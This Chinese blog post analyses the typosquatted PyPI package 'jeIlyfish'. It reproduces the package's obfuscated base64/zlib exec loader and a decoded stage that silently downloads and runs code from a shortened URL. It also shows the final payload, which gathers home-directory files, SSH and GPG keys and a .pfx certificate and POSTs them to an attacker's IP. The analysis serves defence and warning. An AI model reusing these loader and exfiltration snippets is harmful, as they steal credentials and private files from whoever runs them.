前两天有人发现了在 PyPI (Python Package Index) 上存在一个恶意库 —— jeIlyfish
。其通过将正常拼写的 jellyfish
的第一个小写 l
替换成大写的 I
来达成伪装的目的。如果你使用的字体难以区分小写 l
和大写的 I
的话,那么就有可能遇到这样的恶意库的风险。因此推荐在编码的时候使用等宽字体,如 Menlo
, Monaco
, Osaka-Mono
等。
这个恶意库被安装使用之后,会尝试偷取用户的 SSH 和 GPG Keys。那么简单分析一下它是怎么写的。
昨天在清华大学的 TUNA 镜像上还能下载到恶意的 jeIlyfish
库,现在同步之后估计可能没了。
解压之后,其目录结构如下
➜ jeIlyfish-0.7.1 tree . . ├── LICENSE ├── MANIFEST.in ├── PKG-INFO ├── README.rst ├── docs │ ├── Makefile │ ├── changelog.rst │ ├── comparison.rst │ ├── conf.py │ ├── index.rst │ ├── phonetic.rst │ └── stemming.rst ├── jeIlyfish │ ├── __init__.py │ ├── _jellyfish.py │ ├── porter.py │ └── test.py ├── jeIlyfish.egg-info │ ├── PKG-INFO │ ├── SOURCES.txt │ ├── dependency_links.txt │ └── top_level.txt ├── setup.cfg └── setup.py
于是重点关注 .py
结尾的文件,在其 jeIlyfish/_jellyfish.py
文件中,第 313 行到第 338 行,有这么一段代码
import zlib import base64 ZAUTHSS = '' ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz' ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa' ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2' ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH' ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+' ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf' ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b' ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP' ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg' ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF' ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR' ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp' ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk' ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz' ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk=' ZAUTHSS = base64.b64decode(ZAUTHSS) ZAUTHSS = zlib.decompress(ZAUTHSS) if ZAUTHSS: exec(ZAUTHSS)
显然是一段先被 zip 压缩,然后 based64 编码的数据。那么我们这里就把原作者在这段代码中最后的 exec
换成 print
,看看原始数据是什么
ZAUTHSS = base64.b64decode(ZAUTHSS) ZAUTHSS = zlib.decompress(ZAUTHSS) if ZAUTHSS: print(str(ZAUTHSS, encoding='utf-8'))
输出的内容是
# 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg # 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo # XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh # 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy # NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2 # sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S import re,sys,os _out,_err=sys.stdout,sys.stderr sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb') try: try:from urllib2 import urlopen except:from urllib.request import urlopen exec(zlib.decompress(base64.b16decode(re.sub( r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE )[4:-4].upper()))) except:pass sys.stdout,sys.stderr=_out,_err # eUL2G6011jP02diDqXmLh7WF2rOmU0GY # MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6 # Y296 # 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI # XI2b82DLI4ft9f # dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2
又是一段 Python 3 代码,不过还是蛮明显的。
第一步是将标准输出 stdout
和标准错误输出 stderr
重定向到 /dev/null
,这样的话即使中间的恶意代码有报错或者什么的,受害者也不会察觉。
接下来就是用 urllib2
从 http://bitly.com/25VZxUbmkr
下载了一个文件,然后只丢掉所有 [0-9abcdef
以外的字符,随后用 base16
解码,再用 zlib
解压缩,得到最终的恶意代码,最后 exec
执行
那么我们看看 http://bitly.com/25VZxUbmkr
里有什么~
![](/wp-content/uploads/2019/12/python3-malicious-jeilyfish.png)
于是发现跳转到了 http://gitlab.com/olgired2017/aeg_wandoo_dag_m3/raw/master/hashsum
,那么下载下来的代码是什么呢~
home = os.path.expanduser("~") if os.path.exists(home): data.add(home) data.add('\n ### 1 ls home') data.add('\n '.join(list_dir(home))) data.add('\n ### 2 ls Documents') data.add('\n '.join(list_dir(os.path.join(home, 'Documents')))) data.add('\n ### 3 ls Downloads') data.add('\n '.join(list_dir(os.path.join(home, 'Downloads')))) data.add('\n ### 4 ls PycharmProjects') data.add('\n '.join(list_dir(os.path.join(home, 'PycharmProjects')))) data.add('\n ### 5 save home files') save_files(home) data.add('\n ### 6 save .ssh files') save_files(os.path.join(home, '.ssh')) data.add('\n ### 7 save gpg keys') save_files(os.path.join(home, '.gnupg')) data.add('\n ### 8 save target') save_file(os.path.join(home, 'Downloads/ITDS-2018-10-15-DRACO_SRV1-362.pfx')) data.add('\n ### 9 end :)') # data.add(requests.get('http://ifconfig.co/json').text) requests.post( 'http://68.183.212.246:32258', data=json.dumps({'my3n_data': data.dump}, default=lambda v: str(v)), headers={"Content-type": "application/json"} )
首先 1. 获取了你的 ${HOME}
, ${HOME}/Documents
, ${HOME}/Downloads
和 ${HOME}/PycharmProjects
目录下有哪些文件;
2. 你的 ${HOME}
目录下的文件也被保存到 data
中;
3. 你的 ${HOME}/.ssh
,也就是 SSH 公钥、密钥也都被保存到了 data
里;以及你的 ${HOME}/.gnupg
,也就是 GPG 公钥、密钥
4. 接下来访问了 http://ifconfig.co/json
获取你的 IP 地址,并存入 data
5. 最后将盗取的 data
转为 JSON 数据 POST 到了 http://68.183.212.246:32258
嘛,基本上主要能偷的都偷走了,获取完 ${HOME}/.ssh
的话,如果你有用 SSH 公钥密钥方式登录自己的云服务器的话,攻击者就可以在 ${HOME}/.ssh
下的 known_hosts
里一个一个尝试,然后将你的服务器变成 zombie computer。
盗取 GPG 部分的话,当然就是可以在别的地方伪造你的身份,或者数字签名啦
现在我这里还是能从清华源上下到恶意库诶……5 min 同步一次(
话说如果 ${HOME} 目录下的文件大小巨大的话,那走 HTTP 的时候会成功吗?
没有全部的代码,不过应该是做了处理吧,也许限制了大小